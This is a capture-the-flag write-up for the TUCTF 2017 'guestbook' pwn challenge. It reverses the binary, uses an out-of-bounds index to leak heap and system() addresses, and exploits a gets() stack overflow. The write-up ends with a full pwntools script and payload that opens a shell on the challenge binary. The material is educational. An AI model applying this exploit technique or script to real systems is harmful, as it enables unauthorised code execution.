TUCTF 2017 PWN 250 guestbook

4 minute read

Challenge download link (PS: libc was provided for this challenge)

Reversing

Let’s start with basic analysis of given binary

$ file ./guestbook
guestbook: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=bc73592d4897267cd1097b0541dc571d051a7ca0, not stripped
$ checksec ./guestbook
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

So we have PIE and NX enabled, which in most scenarios require combination of information leak and ROP (Return Oriented Programming). I quickly fire up IDA for further analysis.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+0h] [bp-98h]@16
  int v5; // [sp+64h] [bp-34h]@11
  int v6; // [sp+68h] [bp-30h]@7
  char *dest[4]; // [sp+6Ch] [bp-2Ch]@2
  char v8; // [sp+7Fh] [bp-19h]@5
  int (**v9)(const char *); // [sp+80h] [bp-18h]@4
  char **v10; // [sp+84h] [bp-14h]@4
  char *v11; // [sp+88h] [bp-10h]@2
  char v12; // [sp+8Fh] [bp-9h]@4
  int i; // [sp+90h] [bp-8h]@1

  setvbuf(stdout, 0, 2, 0x14u);
  puts("Please setup your guest book:");
  for ( i = 0; i <= 3; ++i )
  {
    printf("Name for guest: #%d\n>>>", i);
    v11 = (char *)malloc(0xFu);
    __isoc99_scanf("%15s", v11);
    v11[14] = 0;
    dest[i] = v11;
  }
  v10 = dest;
  v9 = &system;
  v12 = 1;
  while ( v12 )
  {
    do
      v8 = getchar();
    while ( v8 != 10 && v8 != -1 );
    puts("---------------------------");
    puts("1: View name");
    puts("2: Change name");
    puts("3. Quit");
    printf(">>");
    v6 = 0;
    __isoc99_scanf("%d", &v6);
    switch ( v6 )
    {
      case 2:
        printf("Which entry do you want to change?\n>>>");
        v5 = -1;
        __isoc99_scanf("%d", &v5);
        if ( v5 >= 0 )
        {
          printf("Enter the name of the new guest.\n>>>");
          do
            v8 = getchar();
          while ( v8 != 10 && v8 != -1 );
          gets(&s);
          strcpy(dest[v5], &s);
        }
        else
        {
          puts("Enter a valid number");
        }
        break;
      case 3:
        v12 = 0;
        break;
      case 1:
        readName((int)dest);
        break;
      default:
        puts("Not a valid option. Try again");
        break;
    }
  }
  return 0;
}

int __cdecl readName(int a1)
{
  int result; // eax@2
  int v2; // [sp+0h] [bp-8h]@1

  printf("Which entry do you want to view?\n>>>");
  v2 = -1;
  __isoc99_scanf("%d", &v2);
  if ( v2 >= 0 )
    result = puts(*(const char **)(4 * v2 + a1));
  else
    result = puts("Enter a valid number");
  return result;
}

Above is the decompiled pseudo code generated by IDA hex-rays plug-in. Here as the code suggests, binary takes input for four guests and assigns each a numerical entry (eg #1). After this binary gives out a menu with three options, we can either choose to view name in a guest entry or change name in a guest entry or simply select quit option which return the main. There is a interesting block of code that is spotted instantly, Change name section uses gets function to take input on the stack which can allow us to overwrite return address. But where to return to? Meaning we still have to bypass PIE by getting an info leak. To get that, there is a user-defined function readName in View name section. This function takes array of string dest which is a stack variable for main function, as argument and asks user for the entry of dest to be printed on console. Now here lies the second vulnerability. Entry integer value doesn’t have a max value check in place. So we can use this to leak stuff on the stack. Now lets see if there is anything interesting on stack.

Exploitation

gdb-peda$ stack 500
...
0112| 0xffffd22c --> 0x56558008 --> 0x41 ('A')
0116| 0xffffd230 --> 0x56558428 --> 0x42 ('B')
0120| 0xffffd234 --> 0x56558440 --> 0x43 ('C')
0124| 0xffffd238 --> 0x56558458 --> 0x44 ('D')
0128| 0xffffd23c --> 0xa5559f1
0132| 0xffffd240 --> 0xf7e2cfa0 (<system>:	sub    esp,0xc)
0136| 0xffffd244 --> 0xffffd22c --> 0x56558008 --> 0x41 ('A')
0140| 0xffffd248 --> 0x56558458 --> 0x44 ('D')
0144| 0xffffd24c --> 0x1000000
0148| 0xffffd250 --> 0x4
0152| 0xffffd254 --> 0x0
0156| 0xffffd258 --> 0x0
0160| 0xffffd25c --> 0xf7e09456 (<__libc_start_main+246>:	add    esp,0x10)
...

Above is the stack view taken from gdb-peda. [0x56558008, 0x56558428, 0x56558440, 0x56558458] is what dest looks like. Buf if we request for 6 index in dest, 0xffffd22c address will be printed as a string which will in turn leak out heap address 0x56558008 and system address 0xf7e2cfa0. After getting this leak we can craft our payload for stack based buffer overflow in Change name section.
Final buffer overflow payload will be (custom values are added in between eip offset buffer due to strcpy call just after the gets call)
'/bin/sh\x00' + "A"*92 + p32(0) + p32(0) + p32(heap_addr)*4 + "B"*32 + p32(system_addr) + "JUNK" + p32(heap_addr) + "\n"
Here heap_addr*4 has been added to overwrite dest variable’s array elements. With this in the next strcpy call, /bin/sh gets written on the heap_addr providing us argument for system ROP chain.
Below is the final exploit script

from pwn import *

def ch_name(index, name):
    r.recvuntil(">>")
    r.sendline("2")
    r.recvuntil(">>>")
    r.sendline(str(index))
    #r.interactive()
    r.recvuntil(">>>")
    r.sendline(name)

def vw_name(index):
    r.recvuntil(">>")
    r.sendline("1")
    r.recvuntil(">>>")
    r.sendline(str(index))

r = process("./guestbook")

# providing guest names
for i in range(4):
    r.recvuntil(">>>")
    r.sendline(chr(0x41 + i)*4)

# leak stack address
vw_name(6)
leak = r.recv(24)
heap_addr = u32(leak[0:4])
log.info("heap address: 0x{:x}".format(heap_addr))
system_addr = u32(leak[20:24])
log.info("system address: 0x{:x}".format(system_addr))
# overwriting return address
ch_name(0, '/bin/sh\x00' + "A"*92 + p32(0) + p32(0) + p32(heap_addr)*4 + "B"*32 + p32(system_addr) + "JUNK" + p32(heap_addr) + "\n")
#gdb.attach(r)
# triggering shell
r.sendline("3")
r.recvuntil(">>")
r.interactive()

Exploit script link